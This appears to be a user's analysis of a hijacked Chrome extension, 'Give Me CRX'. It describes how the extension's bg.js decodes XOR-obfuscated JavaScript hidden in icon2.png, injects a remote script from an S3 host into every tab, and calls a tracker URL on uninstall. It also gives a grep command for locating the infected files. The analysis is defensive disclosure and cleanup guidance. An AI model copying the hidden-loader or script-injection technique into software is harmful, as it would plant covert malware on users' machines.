Adam Carbonell has created a non-malicious extension, called "Get CRX": https://chrome.google.com/webstore/detail/get-crx/dijpllakibenlejkbajahncialkbdkjc
Google has removed the original extension, along with several other extensions with similar malware.
Relavant links:
- Japanese writeup: https://translate.google.com/translate?sl=ja&tl=en&js=y&prev=_t&hl=ja&ie=UTF-8&u=https%3A%2F%2Fgist.github.com%2Fmala%2Fe87973df5029d96c9269d9431fcef5cb&edit-text=&act=url
- Reddit thread (a few days after this): https://www.reddit.com/r/chrome/comments/5arx3l/live_http_headers_extension_hijacked/
"Give Me CRX" (https://chrome.google.com/webstore/detail/give-me-crx/acpimoebmfjpfnbhjgdgiacjfebmmmci) previously contained a virus hidden in an image.
Hidden Virus
Reviewer "Adam Carbonell" (link) first discovered existence of the malware. He mentioned that icon2.png
contains malicious code.
bg.js (last modified 11/11/2016) extracts the code by reading icon2.png
(last modified 11/10/2016) as text, extracting data between init>
and <end
strings (I assume a PNG comment), and xor-ing it with char ^ 77
.
The resulting text is then run as Javascript. I think around 24 hours after extension installation, every tab will have <script src='hXXp//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js'>
injected whenever "chrome.tabs.onUpdated".
Several days/weeks after I and others discovered this exploit, they have enabled the forton/extsgo links, and are now injecting advertising code into pages.
- The exploit was discovered around 10/28/2016. Today is 10/30/2016. The last modified dates point to 11/10/2016, which is in the future.
- The Coolbar Pro EULA was last modified 10/17/2016.
The extension includes a EULA for Coolbar Pro, which appears to be a toolbar/adware/spyware. See http://security.stackexchange.com/questions/130597
Is this extension trying to install Coolbar Pro?
Uninstalling the extension triggers chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);
extsgo.com contains a default placeholder Yii PHP framework page. http://extsgo.com/api/tracker shows {"status":false,"error_message":"tracking_id can't be empty"}
. http://extsgo.com/api/tracker/uninstall redirects to a fake "Shape Magazine" spam/scam site. Adding ?ext_id=#### does the same thing.
On Mac just go into Users//Library/Application Support/Google/Chrome/Default/Extensions and 'grep -Rl "extsgo" *'. That will give you the main infected .js file. From there back out till you find the extension folder (random long string). Go into your extensions in Chrome and turn on Developer tools and you'll see the extension ID's, find the one that matches the folder name and you got your broken extension.
Im guessing some malware company bought a bunch of abandoned extensions and then updated with them with the malware.